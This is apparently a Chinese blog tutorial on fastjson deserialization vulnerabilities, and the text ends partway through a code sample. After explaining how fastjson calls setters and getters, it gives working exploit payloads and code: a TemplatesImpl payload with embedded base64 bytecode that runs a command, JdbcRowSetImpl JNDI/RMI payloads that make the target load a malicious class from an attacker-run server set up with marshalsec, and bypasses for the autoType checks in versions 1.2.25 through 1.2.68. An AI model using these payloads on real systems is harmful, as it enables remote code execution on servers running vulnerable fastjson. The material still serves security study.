从零开始学习fastjson反序列化

一、什么是fastjson?

fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

二、fastjson使用简介

用来实现Java对象与JSON字符串的相互转换,比如:

User user = new User();
user.setUserName("Le1a");
user.setAge(20);
user.setSex("男");
String userJson = JSON.toJSONString(user);

输出结果:

{"age":20,"sex":"男","userName":"Le1a"}

以上将对象转换为JSON字符串的操作成为序列化,将JSON字符串实例化为Java对象的操作成为反序列化。

三、fastjson反序列化机制

Case1:

User类

public class User{
    private int  age;
    private String userName;
    private String sex;
    public User() {
        System.out.println("User construct");
    }

    public String getUserName() {
        System.out.println("getUserName");
        return userName;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public String getSex() {
        System.out.println("getSex");
        return sex;
    }

    public void setUserName(String userName) {
        System.out.println("setUserName:" + userName);
        this.userName = userName;
    }

    public void setAge(int age) {
        System.out.println("setAge:" + age);
        this.age = age;
    }

    public void setSex(String sex) {
        System.out.println("setSex:" + sex);
        this.sex = sex;
    }
}

执行反序列化:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
    }
}

执行结果:

User construct
setAge:20
setSex:男
setUserName:Le1a

这个执行结果说明了: fastjson在反序列化的时候会调用这个类的setter方法。那如果没有setter方法,还能正确赋值吗?

所以接下来看第二种机制。

Case2:

User类

public class User{
    public int  age;
    public String userName;
    public String sex;
    public User() {
        System.out.println("User construct");
   
    }

    public String getUserName() {
        System.out.println("getUserName");
        return userName;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public String getSex() {
        System.out.println("getSex");
        return sex;
    }
}

执行反序列化:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
        User user = JSON.parseObject(jsonstr, User.class);
        System.out.println("age:" + user.age);
        System.out.println("setSex:" + user.sex);
        System.out.println("userName:" + user.userName);
    }
}

执行结果:

User construct
age:20
setSex:男
userName:Le1a

发现没有setter方法的时候,fastjson也会对Field正确赋值,但是前提条件是Field必须为public属性。如果不是public属性也没有setter方法呢?接着来看另一种方法!

Case3:

将Field 属性改为私有,不提供setter

User类


public class User{
    private int  age;
    private String userName;
    private String sex;
    public User() {
        System.out.println("User construct");
    }

    public String getUserName() {
        return userName;
    }
    public int getAge() {
        return age;
    }
    public String getSex() {
        return sex;
    }
}

执行反序列化:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
        User user = JSON.parseObject(jsonstr, User.class);
        System.out.println("age:" + user.getAge());
        System.out.println("setSex:" + user.getSex());
        System.out.println("userName:" + user.getUserName());
    }
}
image-20220407164429700

输出结果为:

User construct
age:0
setSex:null
userName:null

发现并没有对Field进行赋值,打印出来的都是Field的默认初始值。以上说明对于不可见Field且未提供setter方法,fastjson默认不会赋值。

将反序列化代码修改为如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
        User user = JSON.parseObject(jsonstr, User.class,Feature.SupportNonPublicField);
        System.out.println("age:" + user.getAge());
        System.out.println("setSex:" + user.getSex());
        System.out.println("userName:" + user.getUserName());
    }
}
image-20220407165105570

输出结果为:

User construct
age:20
setSex:男
userName:Le1a

可见: 对于未提供setter的私有Field,fastjson在反序列化时需要显式提供参数Feature.SupportNonPublicField才会正确赋值。

四、漏洞原理

fastjson支持使用@type来指定反序列化的目标类,如下演示:

User类

public class User{
    private int  age;
    private String userName;
    private String sex;
    public User() {
        System.out.println("User construct");
    }

    public String getUserName() {
        System.out.println("getUserName");
        return userName;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public String getSex() {
        System.out.println("getSex");
        return sex;
    }

    public void setUserName(String userName) {
        System.out.println("setUserName:" + userName);
        this.userName = userName;
    }

    public void setAge(int age) {
        System.out.println("setAge:" + age);
        this.age = age;
    }

    public void setSex(String sex) {
        System.out.println("setSex:" + sex);
        this.sex = sex;
    }
}

执行反序列化

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;

public class Ser2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String jsonstr = "{\"@type\":\"Evil\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
        Object user = JSON.parseObject(jsonstr);
    }
}

执行结果为:

User construct
setAge:20
setSex:男
setUserName:Le1a
getAge
getSex
getUserName

JSON字符串@type的值为User,也就指定了要将此JSON字符串实例化为User对象,在此过程中fastjson不仅调用了setter也调用了getter。

假设这个@type指向一个恶意类,那是不是就能触发恶意代码呢?

我们来写一个Evil

public class Evil {
    static {
        System.err.println("Hacker!!!");
        try {
            java.lang.Runtime.getRuntime().exec("calc");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}
image-20220407170934182

成功执行了恶意命令,实际应用中肯定很难找到像Evil这种代码,攻击者要想办法通过现有的让JVM加载构造的恶意类,就得来构造Gadget。

五、漏洞利用

1.TemplatesImpl

利用fastjson反序列化后会调用属性的getter,可以使用之前学习的TemplatesImpl。

恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.plugin.com.JavaClass;

import java.lang.reflect.Method;

public class Shell extends AbstractTranslet {
    public Shell() throws Exception{
        Class runtime = Class.forName("java.lang.Runtime");
        Method exec = runtime.getMethod("exec", String.class);
        Method getruntime = runtime.getMethod("getRuntime");
        Object r = getruntime.invoke(runtime);
        exec.invoke(r,"calc");
        System.out.println("Hacker!!!");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

EXP

import com.alibaba.fastjson.parser.ParserConfig;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.Base64;

public class TemplatesImpl {
    public static void main(String[] args) throws Exception {
        ParserConfig config = new ParserConfig();
        String base64Evil =  fileToBase64("D:\\Cc\\IntelliJ IDEA 2021.1\\Fastjson\\target\\classes\\Shell.class");
        //System.out.println(base64Evil);
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAUAoAEAAvCAAwCgAFADEIABoHADIHADMKAAUANAgANQcANgoANwA4CAA5CQA6ADsIADwKAD0APgcAPwcAQAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTFNoZWxsOwEAB3J1bnRpbWUBABFMamF2YS9sYW5nL0NsYXNzOwEABGV4ZWMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACmdldHJ1bnRpbWUBAAFyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAQQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAEIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIBABFqYXZhLmxhbmcuUnVudGltZQwAQwBEAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwARQBGAQAKZ2V0UnVudGltZQEAEGphdmEvbGFuZy9PYmplY3QHAEcMAEgASQEABGNhbGMHAEoMAEsATAEAD0hhY2tlcu+8ge+8ge+8gQcATQwATgBPAQAFU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAA8AEAAAAAAAAwABABEAEgACABMAAAC3AAYABQAAAEkqtwABEgK4AANMKxIEBL0ABVkDEgZTtgAHTSsSCAO9AAW2AAdOLSsDvQAJtgAKOgQsGQQEvQAJWQMSC1O2AApXsgAMEg22AA6xAAAAAgAUAAAAIgAIAAAACwAEAAwACgANABoADgAlAA8AMAAQAEAAEQBIABIAFQAAADQABQAAAEkAFgAXAAAACgA/ABgAGQABABoALwAaABsAAgAlACQAHAAbAAMAMAAZAB0AHgAEAB8AAAAEAAEAIAABACEAIgACABMAAAA/AAAAAwAAAAGxAAAAAgAUAAAABgABAAAAFgAVAAAAIAADAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACUAJgACAB8AAAAEAAEAJwABACEAKAACABMAAABJAAAABAAAAAGxAAAAAgAUAAAABgABAAAAGwAVAAAAKgAEAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACkAKgACAAAAAQArACwAAwAfAAAABAABACcAAQAtAAAAAgAu\"],\"_name\" : \"a\",\"_tfactory\" : {},\"outputProperties\" : {}}";
        System.out.println(payload);

    }

    public static String fileToBase64(String path) throws Exception{
        String base64Result=null;
        InputStream inputStream = null;

        File file = new File(path);
        inputStream = new FileInputStream(file);
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes,0,inputStream.available());
        base64Result = new String(Base64.getEncoder().encode(bytes));
        return base64Result;
    }

}

成功执行命令。_bytecodes是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

image-20220407203535843

2.JNDI注入

2.1RMI

反序列化Gadget主流都是使用JNDI,现阶段都是在利用根据JNDI特征自动化挖掘Gadget。

com.sun.rowset.JdbcRowSetImpl这个类有两个set方法,分别是setDataSourceName()setAutoCommit(),我们看一下相关实现:

setDatasourceName

public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }

    URL = null;
}

setAutoCommit

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

这里的setDataSourceName就是设置了dataSourceName,然后在setAutoCommit中进行了connect操作,我们跟进看一下

protected Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

可以看到这里connect方法中有典型的jndilookup方法调用,且参数就是我们在setDataSourceName中设置的dataSourceName,来构造一下payload,dataSourceName的值为我们恶意的rmi对象

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}
工具启动RMI服务

这里有一款工具: https://github.com/RandomRobbieBF/marshalsec-jar

先将恶意Evil类部署到http服务上,可以直接使用python -m http.server。我这里就直接部署到公网上了,然后使用如下命令快速搭建一个rmi服务器,并把恶意的远程对象注册到上面

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:端口/#Evil

这样rmi服务就快速搭起来了,运行一下,成功弹出计算器

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;

public class SerJndi {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        String jsonstr = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://IP:1099/Evil\", \"autoCommit\":true}}";
        JSON.parseObject(jsonstr,Feature.SupportNonPublicField);
    }
}
image-20220408171459320
image-20220408171424438
手动启动RMI服务

同样先将恶意Evil类部署到http服务上,直接使用python -m http.server 8000,然后创建JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exploit","Evil","http://127.0.0.1:8000/");
        //第一个参数是
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。

这里为了防止本地触发恶意代码,就选择了通过References类绑定远程对象。第一个参数是开启rmi服务后的恶意类名,第二个参数是恶意类本体,第三个参数是远程对象的URL。

image-20220517195233145

服务端JNDIClient

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}
image-20220517195726154

2.2LADP

六、Fastjson各版本绕过

1.2.24

Fastjson 1.2.25之前版本,只是通过黑名单限制哪些类不能通过@type指定。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplcom.sun.rowset.JdbcRowSetImpl都不在黑名单中,可以直接完成攻击,代码参考上文。

1.2.25

1.2.25版本修复了这个漏洞,添加了配置项setAutoTypeSupport,并且使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。

当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。

com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
image-20220517211033490
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
	//类名是否为空
    if (typeName == null) {
        return null;
		//类全路径是否超过128字符
    } else if (typeName.length() >= 128) {
        throw new JSONException("autoType is not support. " + typeName);
    } else {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;
        int mask;
        String accept;
		//如果支持AutoType功能会进入这个if判断
        if (this.autoTypeSupport || expectClass != null) {
            for(mask = 0; mask < this.acceptList.length; ++mask) {
                accept = this.acceptList[mask];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
            }
 
            for(mask = 0; mask < this.denyList.length; ++mask) {
                accept = this.denyList[mask];
                if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
		
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }
 
        if (clazz == null) {
            clazz = this.deserializers.findClass(typeName);
        }
 
        if (clazz != null) {
            if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            } else {
                return clazz;
            }
        } else {
			//是否不支持AutoType功能
            if (!this.autoTypeSupport) {
				//先匹配黑名单
                for(mask = 0; mask < this.denyList.length; ++mask) {
                    accept = this.denyList[mask];
                    //进行黑名单过滤,抛出异常
                    if (className.startsWith(accept)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
 
				//再从白名单找
                for(mask = 0; mask < this.acceptList.length; ++mask) {
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) {
                        if (clazz == null) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        }
 
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
 
                        return clazz;
                    }
                }
            }
 
     //省略部分代码......
    }
}	

当autoTypeSupport 为 False 时,先黑名单过滤,然后再匹配白名单,如果白名单没匹配到则报错,所以必须配置有白名单,才能进行loadClass操作。

当 autoTypeSupport 为 True 时,首先进行白名单过滤,如果在白名单上则直接loadClass,否则进行黑名单过滤。

img

这里判断如果className是以L开头,并以;结尾,那么去除开头的L以及末尾的;,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。

所以当开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true);时我们可以在@type处对指定类名进行改造,在JdbcRowSetImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号,就可以绕过了。

image-20220517214336927

1.2.42

1.2.42版本将黑名单denyList替换成了denyHashCodes,fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过,增加了绕过的困难程度。checkAutoType函数会从className中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类提取出来,然后把前后的字符L;都去掉,然后再进行哈希黑名单过滤。

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    } else if (typeName.length() < 128 && typeName.length() >= 3) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;
        long BASIC = -3750763034362895579L;
        long PRIME = 1099511628211L;
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
            className = className.substring(1, className.length() - 1);
        }
		
		//计算className的哈希值
        long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
        long hash;
        int i;
        if (this.autoTypeSupport || expectClass != null) {
            hash = h3;
			
            for(i = 3; i < className.length(); ++i) {
                hash ^= (long)className.charAt(i);
                hash *= 1099511628211L;
				//进行白名单过滤
                if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
				//进行哈希黑名单过滤,如果匹配到则抛出异常
                if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
 
	//省略部分代码......
	
    } else {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

但是只提取了一次,所以我们可以通过双写绕过。

LLcom.sun.rowset.JdbcRowSetImpl;;
image-20220518091343620

1.2.43

1.2.43版本对1.2.42版本的绕过进行了修复,首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常。

Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    } else if (typeName.length() < 128 && typeName.length() >= 3) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;
        long BASIC = -3750763034362895579L;
        long PRIME = 1099511628211L;
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            className = className.substring(1, className.length() - 1);
        }

因为1.2.42版本的payload已无法利用,因此我们需要另寻突破口,在TypeUtils类的loadClass方法中会对className进行校验

image-20220518100255292

这里className[开头,然后通过substring去掉[,然后进行loadClass

那么可以对payload进行改造,在类前面加一个“[”字符,这样就可以绕过checkAutoType函数的过滤,如下所示:

[com.sun.rowset.JdbcRowSetImpl

再次运行程序还是会报错,根据抛出的异常来看,是在调用DefaultJSONParser类的parseArray方法时抛出的异常

image-20220518102545227

打上断点调试,发现会判断token的值,如果不为14,则会抛出异常。

image-20220518185839142

这里调试可以发现我们的token是16,那么token是由什么决定的呢?在[if处下个断点调试(有个坑点就是刚开始调试传入的className并不是我们的JDBC,而是java.lang.AutoCloseable,所以光标点到if判断里面,然后强行进入if语句里面)

image-20220518193841099

此时传入的类是[com.sun.rowset.JdbcRowSetImpl。来看一下nextToken()方法

public final void nextToken() {
    this.sp = 0;

    while(true) {
        while(true) {
            this.pos = this.bp;
            if (this.ch != '/') {
                if (this.ch == '"') {
                    this.scanString();
                    return;
                }

                if (this.ch == ',') {
                    this.next();
                    this.token = 16;
                    return;
                }

                if (this.ch >= '0' && this.ch <= '9') {
                    this.scanNumber();
                    return;
                }

                if (this.ch == '-') {
                    this.scanNumber();
                    return;
                }
                switch(this.ch) {
                    case '\b':
                    case '\t':
                    case '\n':
                    case '\f':
                    case '\r':
                    case ' ':
                        this.next();
                        break;
                    case '\'':
                        if (!this.isEnabled(Feature.AllowSingleQuotes)) {
                            throw new JSONException("Feature.AllowSingleQuotes is false");
                        }

                        this.scanStringSingleQuote();
                        return;
                    case '(':
                        this.next();
                        this.token = 10;
                        return;
                    case ')':
                        this.next();
                        this.token = 11;
                        return;
                    case '+':
                        this.next();
                        this.scanNumber();
                        return;
                    case '.':
                        this.next();
                        this.token = 25;
                        return;
                    case ':':
                        this.next();
                        this.token = 17;
                        return;
                    case ';':
                        this.next();
                        this.token = 24;
                        return;
                    case 'N':
                    case 'S':
                    case 'T':
                    case 'u':
                        this.scanIdent();
                        return;
                    case '[':
                        this.next();
                        this.token = 14;
                        return;
                    case ']':
                        this.next();
                        this.token = 15;
                        return;
                    case 'f':
                        this.scanFalse();
                        return;
                    case 'n':
                        this.scanNullOrNew();
                        return;
                    case 't':
                        this.scanTrue();
                        return;
                    case 'x':
                        this.scanHex();
                        return;
                    case '{':
                        this.next();
                        this.token = 12;
                        return;
                    case '}':
                        this.next();
                        this.token = 13;
                        return;

nextToken方法会判断ch的值,然后根据ch的值设置token,在调试分析中ch的值是json数据中第一个逗号出现的位置(固定从这个位置取值),我们需要把token的值设置为14来绕过DefaultJSONParser类的parseArray方法。所以在第一个逗号出现的位置前面加[

image-20220518201242230
image-20220518201315160

此时的token就为14了,尝试打一下,发现有了新的异常。

image-20220518201516388

说是在43索引(第一个逗号)的位置还缺一个{,把{加上即可成功绕过

payload:

"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}"
image-20220518202109959

1.2.45

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:1389/Evil"
    }
}

1.2.47

Fastjson从1.2.25开始,添加了配置项setAutoTypeSupport以及白名单,进一步限制@type的使用,默认该配置项关闭。如果配置项是关闭状态,那么只允许白名单内的类才能通过@type指定。

此时com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已经在黑名单中了,

image-20220517204511214

但是存在绕过方式,不需要setAutoTypeSupport为true。如果先传入如下JSON进行反序列化:

{
         "@type": "java.lang.Class",
         "val": "com.sun.rowset.JdbcRowSetImpl"
}

java.lang.Class是在白名单中的,反序列化后com.sun.rowset.JdbcRowSetImpl就会被加入到白名单中,剩下的就和1.2.24相同了,直接把两部分整合到一起:

{
         "a": {
                 "@type": "java.lang.Class",
                 "val": "com.sun.rowset.JdbcRowSetImpl"
         },
         "b": {
                 "@type": "com.sun.rowset.JdbcRowSetImpl",
                 "dataSourceName": "rmi://127.0.0.1:1099/Exploit",
                 "autoCommit": true
         }
}
image-20220517204821200

成功绕过!

原理分析: https://blog.csdn.net/qq_34101364/article/details/111706189 之后来学!!!

1.2.68

1.2.68这个版本加入了新的安全控制点safeMode,如果应用程序开启safeMode,将在checkAutoType()中直接抛出异常,完全禁止了autoType

1653549558525.png

但是这个版本爆出了可以通过expectClass绕过 checkAutoType()

1653550793211.png
  • isAssignableFrom的作用

有两个Class类型,一个是调用isAssignableFrom方法的类对象(也就是这里的expectClass),以及方法中作为参数的这个类对象(传入的类),这两个对象如果满足以下条件则返回true,否则返回false:

  1. expectClassclazz对象的父类或者是父接口
  2. expectClass和clazz是同一个类或者同一个接口

checkAutoType()函数中,如果传入了expectClass,且传入的类的名字如果是HashMap或者是expectClass的子类或者实现就可以通过checkAutoType()的安全检测。

现在看看哪些地方使用传入了expectClass这个参数

1653553819286.png

发现主要是2个地方会使用到

  • com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze

  • com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze

先构造反序列化,也就是说如果我们@type的值对应的类构造的反序列化器是JavaBeanDeserializer或者ThrowableDeserializer,就会触发deserialze,同时有希望触发带有expectClass参数的checkAutoType达到我们的目的

总结成一句话就是:寻找怎么才能调用到带有expectClass参数的checkAutoType方法

1653554166730.png

如果clazz是Throwable的子类,那么就返回ThrowableDeserializer,如果所有条件都不满足,那么就会调用createJavaBeanDeserializer去新建JavaBeanDeserializer

ThrowableDeserializer

要使用到com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer这个反序列化器,根据上面的分析,那么我们@type传入的就应该是Throwable的子类或者本身。也就是说,我们的第二个@type对应的类必须是期望类java.lang.Throwable的子类

这里第一个@type传入Throwable或者它的子类就可以使用ThrowableDeserializer,但是由于java.lang.Throwable不在白名单中,所以需要手动开启autoTypeSupport

1653561163968.png
  • 也就是说,第一个@type参数是Throwable或者它的子类,那么第二个@type如果也是Throwable或者它的子类,那么就可以绕过checkAutoType(),从而实例化第二个@type指向的类

例如,我们本地编写一个ThrowableEvil,继承Throwable,然后静态代码块写入恶意代码,那么这里即可触发命令执行

import java.lang.reflect.Method;

public class ThrowableEvil extends Throwable{
    static {
        try {
            Class runtime = Class.forName("java.lang.Runtime");
